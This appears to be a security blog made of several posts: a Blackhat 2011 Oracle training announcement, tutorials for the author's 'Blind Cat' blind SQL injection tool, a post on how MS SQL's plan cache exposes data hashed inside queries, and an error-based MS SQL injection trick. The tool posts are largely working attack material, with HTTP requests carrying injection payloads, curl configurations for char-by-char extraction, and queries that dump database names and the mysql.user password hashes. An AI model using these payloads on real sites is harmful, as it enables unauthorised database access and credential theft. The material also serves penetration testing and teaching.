My company (7Safe) will be delivering the training at the nearest Blackhat 2011 conference (Las Vegas). This will be about hacking and securing Oracle Database (11g), so highly recommended to be there! I took a liberty to prepare a small promotional video about it. So take a look and well... SEE YOU IN VEGAS! :-)
- Weekend Training Session: July 30-31
- Weekday Training Session: August 1-2
7Safe together with Red-Database-Security will be delivering the two-day hands-on course at Blackhat 2011. The course will teach the audience the security problems related to Oracle database. The training covers a variety of security problems arising from flaws such as insecure design, insecure features/packages, insecure PL/SQL code, patch management, weak passwords etc. The second day will focus on securing and hardening databases using built-in oracle features along with a number of externally available scripts and tools. Implementing auditing solutions will also be a part of the training. The audience will have access to an infrastructure with a number of Oracle components deployed, and they will be encouraged to identify/exploit/patch security vulnerabilities as they learn them. The training will provide software developers understanding of writing secure PL/SQL code, DBAs the understanding of thorough auditing of the database and penetration testers the understanding of how to break the unbreakable Oracle.
Ok, It seems the Blind Cat tool was found to be pretty useful, so thanks all of you for downloading and testing! :-) If you don't know what is it - you are welcomed to read the previous article [here]. Recently I made some updates to the tool as during the last tests it happened that there were some issues when connecting to the target website over SSL. I think this is a good occasion to fix the thing (already done!) and explain one more time how everything works. You will see how easy is to exploit SQL injections with Blind Cat (if you know what you are doing...).
So how to use this blind... thing ;-)? Quick tutorial.
Before going further, download the new version 0.0.1.1 beta binary from [here]. Good. Now let's go through the test case step by step.
Step 1: Confirming SQL injection
So I am using Burp Suite and checking for SQL Injection in some well-know website. This is the HTTP header I am sending when testing "true" condition:
GET /shop/index.php?exec=serv&type=1&mid=15205%20or%201=1--%20&rand=2975386456123 HTTP/1.1 Host: vulnerable.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:184.108.40.206) Gecko/20100722 Firefox/3.6.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-gb,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://vulnerable.com/shop/login.php Cookie: PHPSESSID=8547113e62bf285f7f72e9688d098a54
...which gives me this:
Now I am changing the header and testing the "false" condition:
GET /shop/index.php?exec=serv&type=1&mid=15205%20or%201=2--%20&rand=2975386456123 HTTP/1.1 Host: vulnerable.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:220.127.116.11) Gecko/20100722 Firefox/3.6.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-gb,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://vulnerable.com/shop/login.php Cookie: PHPSESSID=8547113e62bf285f7f72e9688d098a54
...and the result is:
Very clean and nice example, right? To be sure we are really dealing with with SQL injection (not a kind of strange response from the web server) it does make sense to play some simple maths and send the following query (fragment of the header is below):
GET /shop/index.php?exec=serv&type=1&mid=15205%20or%205=(3+2)--%20&rand=2975386456123 HTTP/1.1 Host: vulnerable.com ...
Once the vulnerability is confirmed we may go forward and configure our CURL parameters. Note that I am sending GET request over HTTPS (it's important in our case).
Step 2. Configuring CURL
We should open curl.config file in our main Blind Cat folder and modify it the following way (keep attention to highlighted elements):
#-------------------------------------- custom header -H "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:18.104.22.168) Gecko/20091102 Firefox/3.5.5" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7" -H "Accept-Language: en-gb,en;q=0.5" -H "Keep-Alive: 300" -H "Content-Type: application/x-www-form-urlencoded" -H "Referer: https://vulnerable.com/shop/login.php" -H "Cookie: PHPSESSID=8547113e62bf285f7f72e9688d098a54" #-------------------------------------- target URL url https://vulnerable.com/shop/index.php?exec=serv&type=1&mid=15205%20or%201=1--%20&rand=2975386456123 #-------------------------------------- use proxy or not #-x localhost:8080 #-------------------------------------- do we need a header to preview? #--dump-header incoming_header.txt
Now we may run the batch file test_curl_settings.cmd which executes CURL with those parameters and stores the result in the file incoming_html.htm. We have 1=1 in our header, remember? Let's check the output file (should be some content there), then change the parameter to 1=2 and then check the output file again (now should be empty). If everything is working properly - now we are ready to extract the data from the back database!
Previous version of Blind Cat was not handling the crappy certificates properly, so in result you might have the following error:
So what I did, I let CURL completely ignore the certificates checking. SSL is still used but the certificate isn't verified anymore. So the appropriate tiny change was made in test_curl_settings.cmd file and in the Blind Cat's source code. FYI: curl.exe should be called the following way now:
curl --config curl.config -k
Step 3. Let's suck some data
Now we may try to extract some real data from the back system. For the beginning - classic: getting the SQL engine version number. Note: in this case we are dealing with MySQL. SQL query to be executed:
...which in our case transforms into something like this:
GET /shop/index.php?exec=serv&type=1&mid=15205%20or%201=(SELECT%20((SELECT%20ASCII(SUBSTRING(@@VERSION,<char_position>,1)))><char_value>))--%20&rand=2975386456123 HTTP/1.1 Host: vulnerable.com ....
Note that > is a "more" sign. Now let's try to list all databases. SQL query:
SELECT schema_name FROM information_schema.schemata
...magically transforms into:
GET /shop/index.php?exec=serv&type=1&mid=15205%20or%201=(SELECT%20((SELECT%20ASCII(SUBSTRING((SELECT%20schema_name%20FROM%20information_schema.schemata%20LIMIT%20<main_iterator>,1),<char_position>,1)))><char_value>))--%20&rand=2975386456123 HTTP/1.1 Host: vulnerable.com ....
The only difference in this case is that we will be reading the multi-line output line by line, so adding LIMIT <x>, 1. Just for any case, let me remind you one more time about where those values are taken from:
Folks, believe you or not but it finally happened. I wrote yet another sql injection exploitation tool. You may ask why-oh-why you created another weird proggy, especially when there are already about zillion of similar tools in the Internet?... Well, there are some reasons. First of all: I wanted to be sure I got right the whole idea of how SQL injections should be properly exploited. Second: I wanted to created something, which is useful for me (you know, all IT guys are slightly freaks and egocentrics). And the third: I wanted to test slightly different approach which comes to my head.
If you want kind of a "shortcut" you may see the video how the tool works (below). Otherwise, read the whole story step by step (recommended). Important: Blind Cat is not fully automated tool (not a kind of "one-click-ownage"), but if you will catch the idea of it - in return you would get a huge flexibility to exploit even most difficult blind SQL injections. But remember: you are the one who is exploiting, not the tool! :)
Why another tool for exploiting blind SQL injection?
The main reason is that blind SQL injections, by their nature, often are very different. They have different smells, colors and flavors so I must say it's hell-difficult to find a right tools which would suite all cases. If you have the one - please be a good boy/girl and drop me a line. And a link. ;) But for now, let's make a list of features for such magic program. So it should be able to:
- Be independent from SQL engine (support MS SQL, MySQL, Oracle, DB2, Firebird, etc.).
- Be independent from SQL language differences between different systems.
- Support "true/false", "true/error" and time-based conditions (maybe more).
- Be able to send HTTP request (GET or POST) to vulnerable web applications, with many different parameters.
- Support HTTP and HTTPS.
- It may be required to provide tons of custom cookies, viewstates, etc.
- It may also be required to send custom HTTP header (referrers, browser info, etc.).
- It would be nice to be able use a HTTP proxy if needed (kind of "debug mode" for our exploitation).
- It should be possible to execute any SQL query (assuming the remote system and the vulnerability allow it).
- The tool should be reasonably easy to use (hmm... that's could be a tough one).
So you still think you already have a right tool, aren't you?... ;)
Swiss army knife for building HTTP requests
Ok, so let's think what is most generic of all above? To exploit blind SQL injection you must be able to send custom HTTP request, get the response, modify the request, get the response again and compare (and again and again...). So what if we will be using some third-party tool (easy to use and well-documented) for constructing and sending such requests and then only write a kind of "automation tool" for it (we don't want to reinvent a wheel, right?).
After some consideration the tool for sending requests was chosen. And it was CURL. I am 100% sure: every "IT guy" is familiar with it (honestly: I never met the one who never used it). So if you have some personal doubts regarding the tool - my advise: RTFM. ;)
The "Blind Cat"
This is, once again, kind a proof of concept rather the final product. So what is the basic idea of operating Blind Cat?
The tool (Blind Cat) is running multiple instances of CURL, which send parametrized HTTP requests to the vulnerable web application. Then responses are analyzed and another requests with modified parameters are issued until the correct characters in SQL response are detected.
Assuming you are dealing with blind SQL injection in a web application, this is what you should do to exploit it:
- You have to build custom HTTP request (saved it in curl.config) with all "bells and whistles" needed (custom header, cookies, etc.).
- You have to write your own SQL query to exploit SQL injection (also written in curl.config). You also should put some tags in places of all iterations (characters, rows, etc.).
- You have to define the condition for "true" or "false", response boundaries (expected length of response) and also expected number of rows you may get in return.
- Click the button "RUN" and enjoy :).
Let's try to exploit something with Blind Cat and see how it works:
This is simple vulnerable application I made. The input from the search form is not sanitized, so we have typical blind SQL injection. SQL engine = MySQL.
Checking for blind SQL injection (actually you may see it in the movie):
en' and 1=1# --> you see the table with search results
en' and 1=2# --> you don't see the table with search results
Now let's preview the web page's HTML source and find something which will be used to differentiate condition "true" from "false". Here it is:
So this fragment of the code: <td>1</td> is rendered in case of en' and 1=1# condition. Nice. If we will intercept the request from our web browser e.g. in Burp Suite - this is what we may see:
Of course, such request may be much more complicated, but the important thing here is: we may copy it and repeat "as it is". Now let's change our request parameters in curl.config so we may be able to "mimic" the HTTP request from above and also execute the following SQL query:
Look at this file. This HTTP header is exactly what CURL will be sending to our web application:
The last string should be replaced with something like this:
#-------------------------------------- GET/POST parameters -d "keyword=en'%20and%201=(SELECT%20ORD(SUBSTR(@@VERSION,<char_position>,1))><char_value>)#"
I assume you know how blind SQL injection may be exploited to get some data char-by-char, so I am not going deep into explanations about this query.
After you will check if all paths are correct in BlindCat.ini (self explanatory) - it's time to run the Blind Cat! The user interface is quite easy:
Keep attention to the Keyword for "true". This is very important variable! Now press RUN button and see the delightful view how the data is extracted. :) (ach, you've been already seeing the movie, isn't it)
The tool is running multiple threads at the same time, so exploitation is pretty fast. You may change nr of threads, but don't expect 20 or 30 be better then 5. Sample experiment quickly shown that 5-6 threads is good enough. In fact, if more then 5 threads are in use - the overall exploitation time is not dropping down significantly, but at the same time your processor's usage will be increased.
Ok, this is it. If you want to try more samples from the movie, here they are:
Get all databases (still in MySQL). SQL query:
SELECT schema_name FROM information_schema.schemata
...and the config:
#-------------------------------------- GET/POST parameters -d "keyword=en'%20and%201=(SELECT%20(ORD(SUBSTR((SELECT%20schema_name%20FROM%20information_schema.schemata%20LIMIT%20<main_iterator>,%201),<char_position>,<char_value>))><char_value>))#"
Get users' combined info. SQL query:
SELECT CONCAT(HOST,'|',USER,'|',PASSWORD) FROM mysql.user LIMIT 0, 1
...and the config:
#-------------------------------------- GET/POST parameters -d "keyword=en'%20and%201=(SELECT%20(ORD(SUBSTR((SELECT%20CONCAT(HOST,'|',USER,'|',PASSWORD)%20FROM%20mysql.user%20LIMIT%20<main_iterator>,%201),%20<char_position>,%201))%20>%20<char_value>))#"
FYI: if you want to make a multiline response when exploiting MS SQL server - we should use slightly different SQL query pattern because we don't have LIMIT keyword in MS SQL. :-( So this is what we should do:
SELECT top 1 name FROM master..syslogins where name not in (SELECT top 0 name FROM master..syslogins)
then for the next row:
SELECT top 1 name FROM master..syslogins where name not in (SELECT top 1 name FROM master..syslogins)
...and so on. You've got the idea where the <main_iterator> tag goes, right?
Keeping sensitive data in database in plain text is extremely stupid and dangerous - everybody knows it. It's a sin. It should be prohibited, and all DBAs and developers who made such horrible mistake may be publicly crucified by mad IT crowd, and for sure will go to a very hot part of Hell in their afterlife. ;) That's why every programmer (ok, every more-or-less smart programmer, able to use Google) which desires to avoid such horrible consequences knows the typical solution. Here it comes. Imagine: I need to have passwords stored for authentication purposes. I can't keep it in a plain text in database (see above why). So what I can do: I may keep the hash of the password instead of the password in plain text. Then, in authentication procedure, user provides his password which is hashed again and then two hashes are compared. If they are equal - user is authenticated. Simple, isn't it. Same approach may be used when we are storing any other sensitive information, e.g. credit card numbers, etc.
But life is not so simple. And it is quite easy to make a mistake, because of... a good intentions. If you design the IT system, which is dealing with the databases, ideally you want to separate all DB-related functionality from the rest as much as possible. You probably would be happy use the DB engine for majority of the DB-related tasks, which is absolutely ok. So if there is a chance to use hashing functionality on database side - why not to use it, right? Well, in this particular case this is wrong and I will tell you why.
In MS SQL there is a nice way to get the hash of the data: function called HashBytes(). So if you want to store the credit card number by secure way you may execute something like this:
SELECT HashBytes('SHA1', '4268-2268-1003-2943')
SELECT HashBytes('MD5', '4268-2268-1003-2943')
which gives you:
Looks fine, isn't it? So considering everything above we should feel reasonably safe by executing something like this, right:
INSERT INTO credit_cards (card_number) VALUES (HashBytes('MD5', '4268-2268-1003-2943'))
So this is not safe, my friend. Because the DB engine compiles the query before execution, optimizes it etc. - it temporarily stores the plain text of the entire SQL statement in its internal tables for a further processing, and well, this data can be happily retrieved from those tables.
Let's see this example. Ok, so we have stored credit card number this way:
INSERT INTO credit_cards (card_number) VALUES (HashBytes('MD5', '4268-2268-1003-2943'))
Let's imagine that some smart-ass just got unauthorised access to our database, enumerated tables and discovered some juicy stuff: the table called "credit_cards" (oh yea, baby!). Happy day for the attacker, indeed! So what the guy is doing? Of course:
SELECT top 10 card_number FROM credit_cards
What he sees (throwing curses, for sure):
So is everything tip-top? Well, not quite. Atttacker may try to execute the following query:
SELECT st.text, stat.creation_time, stat.last_execution_time FROM sys.dm_exec_cached_plans AS plans OUTER APPLY sys.dm_exec_sql_text(plan_handle) AS st JOIN sys.dm_exec_query_stats AS stat ON stat.plan_handle = plans.plan_handle WHERE cacheobjtype = 'Compiled Plan' ORDER BY stat.last_execution_time DESC
This gives him a chance to access the text of the last SQL queries compiled by DB engine.
There are several limitations for such operation, but in this case the important thing is that attacker is still able to view something that he should not. Quick solution: you should store the data which is already hashed or encrypted:
INSERT INTO credit_cards (card_number) VALUES ('F6DAF921E622914D73BC65F235B5333E')
More information about it: MSDN: Plan Caching in SQL Server 2008. Have fun, boys-n-girls. :)
We all know that it's so nice when we are dealing with SQL injection in MS SQL and see error messages enabled. Typical example:
vulnerableweb.com?id=1' or 1=(SELECT @@version)--
...which obviously in this case would bring us the info about MS SQL version. But this is happening when we are able to raise an error by comparing a string (SELECT @@version) with integer (1). But what if the output of a query we want to execute is also integer? E.g. we are trying to execute something like this:
vulnerableweb.com?id=1' or 1=(SELECT TOP 1 id FROM users)--
ID is integer so our old trick will not work this time. So how to raise a verbose error message in this case? Surprisingly it is not so trivial. You may quickly notice that using CONVERT and CAST does not help because MS SQL later casts types automatically to something with can be compared, so unfortunately this is not raising an error. But here comes the solution! Take a look at the following query:
select cast(cast((select 1) as decimal(10,2)) as varchar(10))
This will convert int to the varchar but one step earlier the integer is converted to a decimal with fixed number of chars before and after the decimal separator (10 before and 2 after). So the output of the query is this:
And this is the kind of varchar, which may be happily used in SQL injection exploitation. See this example:
vulnerableweb.com?id=1' or 1=(cast(cast((SELECT TOP 1 id FROM users) as decimal(10,2)) as varchar(10)))--
This is it, folks. Happy exploitation! :)